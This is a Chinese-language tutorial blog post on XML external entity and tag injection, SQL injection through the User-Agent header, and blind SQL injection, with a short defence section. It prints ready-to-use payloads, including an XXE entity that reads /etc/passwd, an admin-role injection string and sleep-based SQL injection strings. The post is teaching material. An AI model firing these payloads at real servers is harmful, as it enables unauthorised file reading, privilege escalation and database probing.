xml注入、user Agent注入、盲注

xml攻击步骤:

1 知识学习

Xml

XML 指可扩展标记语言(EXtensible Markup Language

XML 是一种标记语言,很类似 HTML

XML 的设计宗旨是传输数据,而非显示数据

XML 标签没有被预定义。您需要自行定义标签。

XML 被设计为具有自我描述性。

漏洞产生原因:

解析xml文件时允许加载外部实体,没有过滤用户提交的参数 

 

危害性:

导致信息泄露、任意文件读取、DOS攻击和代码执行等问题

某服务器端的xml文件内容如下,用户可以获取XML解析后的结果

2 攻击方法

2.1 案列一

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<!DOCTYPE root [

<!ELEMENT copyright (#PCDATA)>

<!ENTITY file SYSTEM "file:///etc/passwd">

]>

<root version="2.0">

<data>

Here is the file content: &file;

</data>

</root>

服务端解析XML文件的时候请求实体file指定的URI(这里为file:///etc/passwd),并用请求结果替换file实体的引用锚,导致文件读取。

2.2 案列二

某服务器端的xml文件内容如下 :

<?xml version="1.0" encoding="UTF-8"?>

<USER role="guest">Attacker Text</USER>

此时如果攻击者输入的Attacker Text的内容为 :User1</USER><USER

role="admin">User2 ,那么将会产生如下xml

<?xml version="1.0" encoding="UTF-8"?>

<USER role="guest">User1</USER>

<USER role="admin">User2</USER>

一旦应用程序读取了这个文件,并且给每个用户分配访问权限时,User2便获得了管理员权限。

3 防御

1. 常见的XML解析方法有:DOMDocumentSimpleXMLXMLReader,这三者都基于 libxml 库解析XML,所以均受影响;xml_parse 函数则基于 expact 解析器,默认不载入外部 DTD,则不受影响。可以在php解析xml文件之前使用libxml_disable_entity_loader(true)来禁止加载外部实体(该方法对上述三种 XML解析组件都有效),并使用libxml_use_internal_errors()禁止报错。

2. 对用户的输入做过滤,如<>'"&等。

转载自https://weibo.com/p/1001603752843713584682

user Agent攻击步骤:

1 知识学习

User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

 

漏洞产生原因:

攻击者却将 SQL 查询语句 select * from (select(sleep(20))) 隐藏在了 HTTP 头部的 User-Agent 字段之中 

 

 

2 攻击方法

User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64; Trident/5.0)'+(select*from(select(sleep(20)))a)+'

User-Agent前半部分看起来挺正常的(好像是微软 IE 11),但是却以字符串+(select*from(select(sleep(20)))a)+结尾。攻击者试图对User-Agent值进行 SQL 注入。

普通的 SQL 注入通常是对 URL 及其参数进行的,但这里攻击者却将 SQL 查询语句select * from (select(sleep(20)))隐藏在了 HTTP 头部的User-Agent字段之中

 

 

 

 

 

 

 

 

 

 

 

 

 

 

盲注攻击:

1 攻击方法

第一类Boolean

比如在where语句中可以构造and 1=1来使返回页面不同

一个正常 一个返回不正常 95%存在注入点用 

 

 

 

第二类时间的盲注

mysql主要涉及两个函数,sleep banchmark 基本是使用如下。

mysql> select 1 from te where if(1=1,sleep(1),1) limit 0,1;
Empty set (27.00 sec)
mysql> select 1 from te where if(1=2,sleep(1),1) limit 0,1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

第三类报错的盲注

需要网站显示数据库报错信息,后面会有详细阐述。

猜你喜欢

转载自blog.csdn.net/u012991692/article/details/79992878